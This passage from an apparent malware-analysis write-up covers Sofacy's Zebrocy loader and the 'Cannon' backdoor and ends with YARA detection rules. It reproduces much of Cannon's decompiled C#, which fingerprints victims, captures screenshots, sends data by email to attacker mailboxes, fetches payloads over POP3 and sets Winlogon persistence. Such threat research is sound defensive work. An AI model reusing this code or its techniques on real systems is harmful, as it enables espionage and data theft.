///////////////////////////////////////////////////////////////////////  
///////////////// Intitial Zebrocy Decoder Prepare First ///////////////
///////////////////////////////////////////////////////////////////////
encoded = (char *)holder_for_encoded;
if ( v38 < 16 )
encoded = (char *)&holder_for_encoded;
v8 = &encoded[v37];
v9 = (char *)holder_for_encoded;
if ( v38 < 16 )
v9 = (char *)&holder_for_encoded;
for ( ; v9 != v8; *v8 = v10 )
{
if ( v9 == --v8 )
break;
v10 = *v9;
*v9++ = *v8;
}
v35 = 15;
v34 = 0;
LOBYTE(v33) = 0;
LOBYTE(v42) = 3;
for ( i = 0; i < v37; ++i )
{
encoded_1 = holder_for_encoded;
if ( v38 < 16 )
encoded_1 = &holder_for_encoded;
except_result(encoded_1[i] - 16, (int)&v33);
}

D. Zebrocy “recv” Processor: “-1” & “0009” Commands
As noted by Palo Alto Unit42, the Zebrocy loader has logic to retrieve input from the server to process the following two commands:

-1
0009

p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px ‘Andale Mono’; color: #2fff12; background-color: #000000; background-color: rgba(0, 0, 0, 0.9)} span.s1 {font-variant-ligatures: no-common-ligatures} In both of the cases, the loader proceeds to leverage “free” call and exits. The pseudocoded recv processor fragment is as follows:

////////////////////////////////////////////////
///// Zebrocy "recv" Processor Fragment ///////
///////////////////////////////////////////////
if ( processor_str("-1", (int)&flag_response) ) // possible cmd = "-1"
{
if ( v98 >= 16 )
free(flag_response);
v98 = 15;
v97 = 0;
LOBYTE(flag_response) = 0;
if ( v83 >= 16 )
free(v81);
v83 = 15;
v82 = 0;
LOBYTE(v81) = 0;
if ( v95 >= 16 )
free(post_request_1);
v95 = 15;
len = 0;
LOBYTE(post_request_1) = 0;
if ( v101 >= 16 )
free(cp);
v10 = v92 < 16;
v101 = 15;
v100 = 0;
LOBYTE(cp) = 0;
goto LABEL_29;
}
if ( processor_str("009", (int)&flag_response) ) // possible cmd = "009"
{
free_0((int)&flag_response);
free_0((int)&v81);
free_0((int)&post_request_1);
free_0((int)&cp);
free_0((int)&v90);
return 1;
}

E. Zebrocy Install and Execute Processor
Finally, the processor contains logic to install and execute the next payload stage retrieved via recv command. Notably, the loader leverages CreateDirectoryW API with fwrite API to install and write block of data to stream and save it locally, then it executes the presumed downloaded next stage via ShellExecuteA API call.
The pseudo-coded function is as follows:

III. Yara Signature

import "pe"

rule apt_sophacy_loader_zebrocy {
meta:
reference = "Detects Sofacy Zebrocy C++ loader"
author = "@VK_Intel"
date = "2018-12-08"
hash1 = "dd7e69e14c88972ac173132b90b3f4bfb2d1faec15cca256a256dd3a12b6e75d"
strings:
$dec_processor = { 55 8b ec 53 8b ?? ?? 56 8b f1 85 db 74 ?? 8b ?? ?? 83 f9 10 72 ?? 8b ?? eb ?? 8b c6 3b d8 72 ?? 83 f9 10 72 ?? 8b ?? eb ?? 8b c6 8b ?? ?? 03 d0 3b d3 76 ?? 83 f9 10 72 ?? 8b ?? 8b ?? ?? 51 2b d8 53}
$decoder1 = { 55 8b ec 6a ff 68 e9 f7 41 00 64 ?? ?? ?? ?? ?? 50 83 ec 64 a1 ?? ?? ?? ?? 33 c5 89 ?? ?? 53 56 50 8d ?? ?? 64 ?? ?? ?? ?? ?? 33 db 89 ?? ?? 89 ?? ?? 6a ff c7 ?? ?? ?? ?? ?? ?? 53 8d ?? ?? 50 8d ?? ?? c7 ?? ?? ?? ?? ?? ?? 89 ?? ?? 88 ?? ?? e8 ?? ?? ?? ?? 8b ?? ?? 8b ?? ?? 8b c6 83 fa 10 73 ?? 8d ?? ??}
$decoder2 = { 33 db c7 ?? ?? ?? ?? ?? ?? 89 ?? ?? c6 ?? ?? ?? c6 ?? ?? ?? 89 ?? ?? 39 ?? ?? 76 ?? 83 ?? ?? ?? 8b ?? ?? 73 ?? 8d ?? ?? 8b ?? ?? 0f ?? ?? ?? 83 eb 10 8d ?? ?? e8 ?? ?? ?? ?? 8b ?? ?? 40 89 ?? ?? 3b ?? ?? 72 ??}

condition:
( uint16(0) == 0x5a4d and
filesize < 500KB and
pe.imphash() == "287595010a7d7f2e14aec2068098ad43" and
( all of them )
) or ( 1 of ($decoder*) and $dec_processor)
}

Let’s Learn: In-Depth on Sofacy Cannon Loader/Backdoor Review

Goal: Review and practice analyzing C# code from the Sofacy Group new loader/backdoor called “Cannon” (as discovered by Palo Alto Unit 42 researchers).

https://platform.twitter.com/widgets.js Source:

Sofacy “Cannon” Loader/Backdoor
SHA256: 61a1f3b4fb4dbd2877c91e81db4b1af8395547eab199bf920e9dd11a1127221e
Outline:

I. Background & Summary
II. Cannon Classes
III. Cannon "Form1" Main Functions
A. “start_Tick”
B. “inf_Tick”
C. “txt_Tick”
D. “subject_Tick”
E. "run_Tick"
F. “load_Tick”
G. “screen_Tick”
H. "eTim_Tick"
IV. Yara Signature
I. Background & Summary
Before diving deeper, I highly recommend reading the original discovery and excellent research related to the “Cannon” malware by Palo Alto Unit 42 titled Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan.” As reported by Unit 42, Sofacy group leveraged malicious Microsoft Document themed as Lion Air disaster” to deliver the Cannon malware. By and large, according to Palo Alto Unit 42, Sofacy recent targeting includes “government organizations in the EU, US, and former Soviet states.”
Cannon is a rather simple but interesting C#-coded malware collecting victim information, receiving commands (controlled by EventHandler), and retrieving next stage via the SMTPS and POP3S. It is interesting that the malware original project “wsslc” program database (PDB) is associated with the possible user “Garry” with the “cannon” project path “C:\Users\Garry\Desktop\cannon\obj\x86\Debug\wsslc.pdb”. Notably, “Garry” is a common way for Russian speakers to phonetically spell out “Harry” stressing the “G” sound. The malware logic also checks for control email messages attachment files containing auddevc” via its “load_Tick” function possibly retrieving unidentified additional binaries. If found, the malware creates a file stream in the main directory and writes the file to the directory using BinaryWriter. Additionally, the malware creates a registry entry as “Shell” in “Winlogon” via “HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogonfor registry persistence.
It is also interesting that the malware authors chose to leverage Czech email provider @post.cz for communications and command control.
II. Cannon Classes
The binary contains the following five classes as follows:
Class Name Description
AUTH Initializes values for SMTPS and POP connection mF1, p1, mF2, p2, mF3, and p3
Form1 Loads the main functions and initializes the main flow of the binary
Lenor Loads auxiliary functions, retrieves information about victims and parses emails for commands
MDat Initializes values used for network communication
Program Starts the program and passes control to Form1
The main program starts running the Main function which checks whether the specified file “C:\Users\Public\Music\s.txt” exists, if yes, it starts “explorer.exe” If not, it sets up the EnableVisualStyles() and SetCompatibleTextRenderingDefault(defaultValue: false) and launches the “Run” command the command executing the “Form1” class.
The full function is as follows:

////////////////////////////////////////////////////////////////////
////////////////////// Cannon Malware Main "Program" ///////////////
////////////////////////////////////////////////////////////////////
internal static class Program
{
[STAThread]
private static void Main()
{
try
{
if (File.Exists("C:\\Users\\Public\\Music\\s.txt"))
{
Process.Start("explorer.exe");
}
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(defaultValue: false);
Application.Run(new Form1());
}
catch (Exception)
{
}
}
}

III. Cannon “Form1” Main Functions
Next, the class “Form1” starts with InitializeComponent(), which sets up all the variables and intervals with EventHandler for the main functions as detailed by Unit 42:

////////////////////////////////////////////////////////////////////
// Cannon Malware Sequence "Form1" Calls & Intervals //////////////
///////////////////////////////////////////////////////////////////
start.Interval = 1000;
start.Tick += new System.EventHandler(start_Tick);
inf.Interval = 300000;
inf.Tick += new System.EventHandler(inf_Tick);
txt.Interval = 120000;
txt.Tick += new System.EventHandler(txt_Tick);
subject.Interval = 120000;
subject.Tick += new System.EventHandler(subject_Tick);
run.Interval = 60000;
run.Tick += new System.EventHandler(run_Tick);
load.Interval = 120000;
load.Tick += new System.EventHandler(load_Tick);
screen.Interval = 10000;
screen.Tick += new System.EventHandler(screen_Tick);
eTim.Interval = 13000;
eTim.Tick += new System.EventHandler(eTim_Tick);

A. “start_Tick”

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "start_Tick" function ////////////////
////////////////////////////////////////////////////////////////////
private void start_Tick(object sender, EventArgs e)
{
try
{
start.Enabled = false;
Lenor lenor = new Lenor();
if (Directory.Exists("C:\\Users\\Public\\Music")
{
dir = "C:\\Users\\Public\\Music" + "\\";
}
else
{
dir = "C:\\Documents and Settings\\All Users\\Documents" + "\\";
}
att = dir + "auddevc.txt";
_id = lenor.id(dir);
if (!File.Exists(dir + "s.txt"))
{
lenor.Dir = dir;
lenor.Registration("\"HKCU\\Software\\Microsoft\\" +
"Windows NT\\CurrentVersion\\Winlogon\", "Shell");
File.WriteAllText(dir + "s.txt", "{SysPar = 65}");
}
inf.Enabled = true;
}
catch (Exception)
{
}
}

The “start_Tick” function checks if the application is launched with the interval of 1000 milliseconds or 1 second. The function checks if the directory “C:\Users\Public\Music” exists if not it uses the “C:\Documents and Settings\All Users\Documents” one.
Then, it concatenates the filename to the path as “auddevc.txt”. The function generates a bot ID (_id) leveraging the id function from the “Lenor” class (which calls another “SN” function from Lenor). The bot ID is generated by concatenating the results of the cmd command for volume name “vol C:” with machine username “Environment.UserName”. More specifically, the “Lenor.SN” function runs a command, for example, “vol C:>> C:\\Documents and Settings\\All Users\\Documents\99.txt” saving the output to a local file “99.txt” which is run via batch script “b.bat”; both files are removed right after the operation.

The “Lenor._id” function simply leverages the SN function and concatenates the full bot ID.

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "Id" Bot ID Generation /////////////
////////////////////////////////////////////////////////////////////
public string id("C:\\Documents and Settings\\All Users\\Documents")
{
string text = "";
string text2 = "";
string text3 = "";
string text4 = "";
volumename = SN("C:\\Documents and Settings\\All Users\\Documents", "C");
volumename = volumename.Trim();
username = Environment.UserName;
byte[] bytes = Encoding.Default.GetBytes(text4);
text4 = BitConverter.ToString(bytes);
username = text4.Replace("-", "");
full_id = volumename + username;

/*
public string SN(string "C:\\Documents and Settings\\All Users\\Documents", string name)
{
string text = "";
try
{
while (!File.Exists("C:\\Documents and Settings\\All Users\\Documents" + "\\99.txt"))
{
try
{
string contents = "vol " +
"C" + ":>>" + "C:\\Documents and Settings\\All Users\\Documents" + "\\99.txt";
File.WriteAllText("C:\\Documents and Settings\\All Users\\Documents" + "\\b.bat", contents);
ProcessStartInfo processStartInfo = new ProcessStartInfo();
processStartInfo.FileName = d + "\\b.bat";
processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
Process.Start(processStartInfo);
File.Delete(d + "\\b.bat");
}
catch (Exception)
{
}
}
text = File.ReadAllText(d + "\\99.txt");
string[] array = text.Split('\n');
text = array[1];
text = text.Substring(text.LastIndexOf(" "));
text = text.Remove(text.IndexOf('-'), 1);
File.Delete(d + "\\99.txt");
}
catch (Exception)
{
}
return text;
}
*/

For persistence, the malware checks if the directory contains “s.txt” file. If not, it registers itself in the following registry path:


HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\Shell

It also creates the file “s”.txt in the same local directory with “{SysPar = 65}” encoding.
B. “inf_Tick” 

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "inf_Tick" function ////////////////
////////////////////////////////////////////////////////////////////
private void inf_Tick(object sender, EventArgs e)
{
try
{
inf.Enabled = false;
string[] array = "REDACTED_PASS2|bishtr.cam47".Split('|');
a1 = array[1];
b1 = array[0];
array = "REDACTED_PASS3|cervot.woprov".Split('|');
a2 = array[1];
b2 = array[0];
array = "REDACTED_PASS4|lobrek.chizh".Split('|');
a3 = array[1];
b3 = array[0];
Lenor lenor = new Lenor();
lenor.Dir = dir;
File.Delete(dir + "\\b.bat");
string userName = Environment.UserName;
lenor.inf(dir + "i.ini", userName);
MDat mDat = new MDat();
mDat.Dom = "@post.cz";
mDat.Host = "smtp.seznam.cz";
mDat.fn = dir + "i.ini"; //filename attachement
mDat.ID = _id; //subject
mDat.bod = "S_inf"; // body
mDat.mT = "sahro.bella7"; // to
AUTH aUTH = new AUTH();
aUTH.mF1 = a1; // from bishtr.cam47
aUTH.p1 = b1; // REDACTED_PASS2
aUTH.mF2 = a2; // from cervot.woprov
aUTH.p2 = b2; // REDACTED_PASS3
aUTH.mF3 = a3; // from lobrek.chizh
aUTH.p3 = b3; // REDACTED_PASS4
lenor.sent(mDat, aUTH);
screen.Enabled = true;
}
catch (Exception)
{
screen.Enabled = true;
}
}

The “inf_Tick” function checks if the application is launched with the interval of 30000 milliseconds or 30 seconds. The function splits strings via “|” separator such as for example “REDACTED_PASS2|bishtr.cam47”.Split(‘|’) and adds the values as usernames and passwords to the authentication “AUTH” class.
Additionally, it deletes the batch file “b.bat” from the current directory. 
The malware “lenor.inf” function works as follows:

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "inf" Function Fragment /////////////
////////////////////////////////////////////////////////////////////
public string inf(string fn, string CurU)
{
string text = "";
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.AppendFormat("RPlace:\n" + Environment.NewLine);
stringBuilder.AppendFormat("{0} \n", Application.ExecutablePath + Environment.NewLine);
stringBuilder.AppendFormat("===================================================================================\n"
+ Environment.NewLine);
stringBuilder.AppendFormat("OS: {0}\n", Environment.OSVersion + Environment.NewLine);
stringBuilder.AppendFormat("SDir: {0}\n", SDir() + Environment.NewLine);
stringBuilder.AppendFormat("Domain: {0}\n", Domain() + Environment.NewLine);
stringBuilder.AppendFormat("Host: {0}\n", HostN() + Environment.NewLine);
stringBuilder.AppendFormat("CurrentUsr: {0}\n", CurU + Environment.NewLine);
stringBuilder.AppendFormat("TimeZ: {0}\n", GetTZ() + Environment.NewLine);
stringBuilder.AppendFormat("Working: {0}\n", TimeWork() + Environment.NewLine);
stringBuilder.AppendFormat("===================================================================================\n"
+ Environment.NewLine);
stringBuilder.AppendFormat("\n" + DrvDsk() + Environment.NewLine);
stringBuilder.AppendFormat("===================================================================================\n"
+ Environment.NewLine);
stringBuilder.AppendFormat("Swr:\n" + Environment.NewLine);
text = "C:\\Program";
string[] directories = Directory.GetDirectories(text + " Files\\");
string[] array = directories;
foreach (string str in array)
{
stringBuilder.AppendFormat("{0}\n", str + Environment.NewLine);
}
if (Directory.Exists(text + " Files (x86)\\"))
{
directories = Directory.GetDirectories(text + " Files (x86)\\");
array = directories;
foreach (string str in array)
{
stringBuilder.AppendFormat("{0}\n", str + Environment.NewLine);
}
}
stringBuilder.AppendFormat("===================================================================================\n"
+ Environment.NewLine);
stringBuilder.AppendFormat("PrL:\n" + Environment.NewLine);

The malware function utilizes “Lenor.inf” function to write the collected victim information to the file in the same directory as “i.ini” in the following structure (example):


The function attempts to authenticate to the three @post.cz email addresses (“bishtr.cam47@post.cz”, “cervot.woprov@post.cz”, “lobrek.chizh@post.cz”) send the information to “sahro.bella7@post.cz” with the body message “S_inf” with the file attachment “i.ini” with the subject as the bot ID.
C. “txt_Tick”

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "txt_Tick" function ////////////////
////////////////////////////////////////////////////////////////////
private void txt_Tick(object sender, EventArgs e)
{
try
{
txt.Enabled = false;
string[] array = "REDACTED_PASSWORD|trala.cosh2".Split('|');
ai = array[1];
bi = array[0];
Lenor lenor = new Lenor();
_adr = lenor.pi(_id, "trala.cosh2" + "@post.cz", bi, "pop.seznam.cz");
if (_adr.Length > 0)
{
MDat mDat = new MDat();
mDat.Dom = "@post.cz";
mDat.Host = "smtp.seznam.cz";
mDat.fn = dir + "s.txt";
mDat.ID = _id;
mDat.bod = "ok";
mDat.mT = "sahro.bella7";
AUTH aUTH = new AUTH();
aUTH.mF1 = a1;
aUTH.p1 = b1;
aUTH.mF2 = a2;
aUTH.p2 = b2;
aUTH.mF3 = a3;
aUTH.p3 = b3;
lenor.sent(mDat, aUTH);
load.Enabled = true;
}
else
{
txt.Enabled = true;
}
}
catch (Exception)
{
load.Enabled = true;
}
}

The “txt_Tick” function is launched with the interval of 120000 milliseconds or 120 seconds.The function sets up variables and splits username and password leveraging “|” as follows:
“REDACTED_PASS|trala.cosh2”.
The function “lenor.pi” authenticates to the email account “trala.cosh2@post.cz” and retrieves messages via pop3Client.GetMessageCount() for the message looping over subjects with the bot ID (message.Headers.Subject == ID) and retrieving message body message.MessagePart.Body and converting text (BitConverter.ToString(body)) to string and decoding hex via FromHex(text) and deleting the message.
The loop code is as follows:

/////////////////////////////////////////////////////////////////////
// Cannon Malware "txt_Tick" Command Email GetMessage Loop for cmd //
////////////////////////////////////////////////////////////////////
for (int i = 0; i < pop3Client.GetMessageCount(); i++)
{
message = pop3Client.GetMessage(i + 1);
if (message.Headers.Subject == ID)
{
byte[] body = message.MessagePart.Body;
text = BitConverter.ToString(body);
text = FromHex(text);
pop3Client.DeleteMessage(i + 1);
}
}

If the text length is over zero, the function attempts to authenticate to the two aforementioned @post.cz email addresses from “screen_Tick” and send the information to “sahro.bella7@post.cz” with the body message “ok” with the file attachment “s.txt” with the subject as the bot ID.
D. “subject_Tick”

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "subject_Tick" function ////////////////
////////////////////////////////////////////////////////////////////
private void subject_Tick(object sender, EventArgs e)
{
try
{
subject.Enabled = false;
Lenor lenor = new Lenor();
lenor.Dir = dir;
rn = lenor.pi(_id, "trala.cosh2" + "@post.cz", bi, "pop.seznam.cz";);
rn = rn.Trim();
if (rn.Length > 0)
{
MDat mDat = new MDat();
mDat.Dom = "@post.cz";
mDat.Host = "smtp.seznam.cz";
mDat.fn = dir + "s.txt";
mDat.ID = _id;
mDat.bod = "ok3";
mDat.mT = "sahro.bella7";
AUTH aUTH = new AUTH();
aUTH.mF1 = a1;
aUTH.p1 = b1;
aUTH.mF2 = a2;
aUTH.p2 = b2;
aUTH.mF3 = a3;
aUTH.p3 = b3;
lenor.sent(mDat, aUTH);
run.Enabled = true;
}
else
{
subject.Enabled = true;
}
}
catch (Exception)
{
}
}

The “subject_Tick” function is launched with the interval of 120000 milliseconds or 120 seconds. The function sets up variables and splits username and password leveraging “|” as follows:
“REDACTED_PASS|trala.cosh2”
If the text length is over zero and trimmed of leading and trailing whitespace characters, the function attempts to authenticate to the two aforementioned @post.cz email addresses from “screen_Tick” and send the information to “sahro.bella7@post.cz” with the body message “ok3” with the file attachment “s.txt” with the subject as the bot ID.

E. “run_Tick”
/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "run_Tick" function /////////////////
////////////////////////////////////////////////////////////////////
private void run_Tick(object sender, EventArgs e)
{
try
{
run.Enabled = false;
try
{
Directory.CreateDirectory(rn.Substring(0, rn.LastIndexOf("\\")));
}
catch (Exception)
{
}
File.Move(att, rn);
if (File.Exists(rn))
{
Lenor lenor = new Lenor();
MDat mDat = new MDat();
mDat.Dom = "@post.cz";
mDat.Host = "smtp.seznam.cz";
mDat.fn = dir + "l.txt";
mDat.ID = _id;
mDat.bod = "ok4";
mDat.mT = "sahro.bella7";
AUTH aUTH = new AUTH();
aUTH.mF1 = a1;
aUTH.p1 = b1;
aUTH.mF2 = a2;
aUTH.p2 = b2;
aUTH.mF3 = a3;
aUTH.p3 = b3;
lenor.sent(mDat, aUTH);
Process.Start(rn);
Process[] processes = Process.GetProcesses();
Process[] array = processes;
foreach (Process process in array)
{
if (process.ProcessName.Contains("auddevc"))
{
Lenor lenor2 = new Lenor();
MDat mDat2 = new MDat();
mDat2.Dom = "@post.cz";
mDat2.Host = "smtp.seznam.cz";
mDat2.fn = dir + "s.txt";
mDat2.ID = _id;
mDat2.bod = "ok5";
mDat2.mT = "sahro.bella7";
AUTH aUTH2 = new AUTH();
aUTH2.mF1 = a1;
aUTH2.p1 = b1;
aUTH2.mF2 = a2;
aUTH2.p2 = b2;
aUTH2.mF3 = a3;
aUTH2.p3 = b3;
lenor2.sent(mDat2, aUTH2);
File.Delete(dir + "sysscr.ops");
File.Delete(dir + "i.ini");
Application.Exit();
}
}
}
else
{
Application.Restart();
}
}
catch (Exception)
{
Application.Exit();
}
}
The “run_Tick” function is launched with the interval of 60000 milliseconds or 60 seconds. The function processes the return text of the “subject_Tick” command and creates a directory with its path.
Then, if successful, it attempts to move the file “auddevc.txt” to the new directory via File.Move(dir + “auddevc.txt”), rn).
If successful, the function attempts to authenticate to the two aforementioned @post.cz email addresses and send the information to “sahro.bella7@post.cz” with the body message “ok4” with the file attachment “l.txt” with the subject as the bot ID.
Additionally, the function checks if the running process contains the name “auddevc,” if yes, the function attempts to authenticate to the two aforementioned @post.cz email addresses and send the information to “sahro.bella7@post.cz” with the body message “ok5” with the file attachment “s.txt” with the subject as the bot ID.
The function is also responsible for deleting the saved screenshot “sysscr.ops” and the collected victim information file “i.ini.” The function also exists the application if successful.
F. “load_Tick”
/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "load_Tick" function ////////////////
////////////////////////////////////////////////////////////////////
private void load_Tick(object sender, EventArgs e)
{
try
{
load.Enabled = false;
string text = _adr.Replace("B&", "");
text = text.Replace("Db", "");
string[] array = text.Split('%');
string text2 = array[0];
string text3 = array[1];
text2 = text2.Trim();
text3 = text3.Trim();
Lenor lenor = new Lenor();
lenor.Dir = dir;
File.WriteAllText(dir + "l.txt", "090");
rn = lenor.piatt(_id, text3 + "@post.cz", text2, "pop.seznam.cz";);
if (File.Exists(att))
{
MDat mDat = new MDat();
mDat.Dom = "@post.cz";
mDat.Host = "smtp.seznam.cz";
mDat.fn = dir + "l.txt";
mDat.ID = _id;
mDat.bod = "ok2";
mDat.mT = "sahro.bella7";
AUTH aUTH = new AUTH();
aUTH.mF1 = a1;
aUTH.p1 = b1;
aUTH.mF2 = a2;
aUTH.p2 = b2;
aUTH.mF3 = a3;
aUTH.p3 = b3;
lenor.sent(mDat, aUTH);
subject.Enabled = true;
}
else
{
load.Enabled = true;
}
}
catch (Exception)
{
}
}
The “load_Tick” function is launched with the interval of 120000 milliseconds or 120 seconds. The function is responsible for processing the retrieved text from “txt_Tick” function. It replaces the  “B&” with “”, “Db” with “”, then splits the text via ‘%’ and removes trailing whitespace.
Then, it writes the new file “l.txt” from this text in the same directory with “090” encoding.
The function “lenor.piatt” authenticates to the email account “trala.cosh@post.cz” and retrieves messages via pop3Client.GetMessageCount() for the message looping over subjects with the bot ID (message.Headers.Subject == ID) and retrieving message body message.MessagePart.Body and converting text (BitConverter.ToString(body)) to string and decoding hex via FromHex(text). Then, it loops over looking for attachment files containing “auddevc”. If found, it creates a file stream in the same directory and writes it to the directory using BinaryWriter.
/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "piatt" function fragment ///////////
////////////////////////////////////////////////////////////////////
if (pop3Client.GetMessageCount() > 0)
{
for (int i = 0; i < pop3Client.GetMessageCount(); i++)
{
message = pop3Client.GetMessage(i + 1);
if (message.Headers.Subject == ID)
{
byte[] rawMessage = message.RawMessage;
text = BitConverter.ToString(rawMessage);
text = FromHex(text);
list = message.FindAllAttachments();
foreach (MessagePart item in list)
{
if (item.FileName.Contains("auddevc"))
{
FileStream fileStream = new FileStream(Dir + item.FileName, FileMode.Create);
BinaryWriter binaryWriter = new BinaryWriter(fileStream);
binaryWriter.Write(item.Body);
binaryWriter.Close();
fileStream.Close();
}
}
pop3Client.DeleteMessage(i + 1);
}
}
}

G. “screen_Tick”

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "screen_Tick" function ////////////////
////////////////////////////////////////////////////////////////////
private void screen_Tick(object sender, EventArgs e)
{
try
{
screen.Enabled = false;
string[] array = "REDACTED_PASS2|bishtr.cam47".Split('|');
a1 = array[1];
b1 = array[0];
array = "REDACTED_PASS3|cervot.woprov".Split('|');
a2 = array[1];
b2 = array[0];
array = "REDACTED_PASS4|lobrek.chizh".Split('|');
a3 = array[1];
b3 = array[0];
Lenor lenor = new Lenor();
lenor.Dir = dir;
lenor.scr();
MDat mDat = new MDat();
mDat.Dom = "@post.cz";
mDat.Host = "smtp.seznam.cz";
mDat.fn = dir + "sysscr.ops";
mDat.ID = _id;
mDat.bod = "SCreen";
mDat.mT = "sahro.bella7";
AUTH aUTH = new AUTH();
aUTH.mF1 = a1;
aUTH.p1 = b1;
aUTH.mF2 = a2;
aUTH.p2 = b2;
aUTH.mF3 = a3;
aUTH.p3 = b3;
lenor.sent(mDat, aUTH);
txt.Enabled = true;
}
catch (Exception)
{
txt.Enabled = true;
}
}

The “screen_Tick” function is launched with the interval of 10000 milliseconds or 10 seconds. The function sets up variables and splits usernames and passwords leveraging “|” as follows:

REDACTED_PASS2|bishtr.cam47
REDACTED_PASS3|cervot.woprov
REDACTED_PASS4|lobrek.chizh

Then, it leverages the screen function “lenor.scr” taking a desktop screenshot via Bitmap(bounds.Width, bounds.Height), Graphics.FromImage(bitmap), graphics.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size) and saving the screenshot as “.png” image masked as “sysscr.ops” in the main directory.
The function attempts to authenticate to the two aforementioned @post.cz email addresses and send the information to “sahro.bella7@post.cz” with the body message “SCreen” with the file attachment “sysscr.ops” with the subject as the bot ID.
H. “eTim_Tick”

/////////////////////////////////////////////////////////////////////
/////////////// Cannon Malware "eTim_Tick" function ////////////////
////////////////////////////////////////////////////////////////////
private void eTim_Tick(object sender, EventArgs e)
{
Application.Exit();
File.Delete(dir + "\\r.bat");
}

The “eTim_Tick” function is launched with the interval of 13000 milliseconds or 13 seconds.
The function simply exits the application and deletes the batch script “r.bat” in the directory.

IV. Yara Signature

rule apt_win32_cannon_loader_sofacy {
meta:
description = "Detects Sofacy Cannon Loader"
author = "@VK_Intel"
date = "2018-11-24"
hash1 = "61a1f3b4fb4dbd2877c91e81db4b1af8395547eab199bf920e9dd11a1127221e"
strings:

$pdb = "c:\\Users\\Garry\\Desktop\\cannon\\obj\\x86\\Debug\\wsslc.pdb" fullword ascii
$exe = "wsslc.exe" fullword ascii wide

$s0 = "cannon" fullword ascii wide
$s1 = "cannon.Form1.resources" fullword ascii wide
$s2 = "cannon.Properties.Resources.resources" fullword ascii wide

$c0 = "Form1" fullword ascii wide
$c1 = "Lenor" fullword ascii wide
$c2 = "MDat" fullword ascii wide
$c3 = "AUTH" fullword ascii wide
$c4 = "Program" fullword ascii wide

$f0 = "start_Tick" fullword ascii wide
$f1 = "inf_Tick" fullword ascii wide
$f2 = "screen_Tick" fullword ascii wide
$f3 = "txt_Tick" fullword ascii wide
$f4 = "load_Tick" fullword ascii wide
$f5 = "subject_Tick" fullword ascii wide
$f6 = "run_Tick" fullword ascii wide
$f7 = "eTim_Tick" fullword ascii wide

condition:
( uint16(0) == 0x5a4d and
filesize < 1000KB and
( 2 of ($c*) and 4 of ($f*) ) or ( 1 of ($s*) and ( $pdb or $exe ) )
) or ( all of them )
}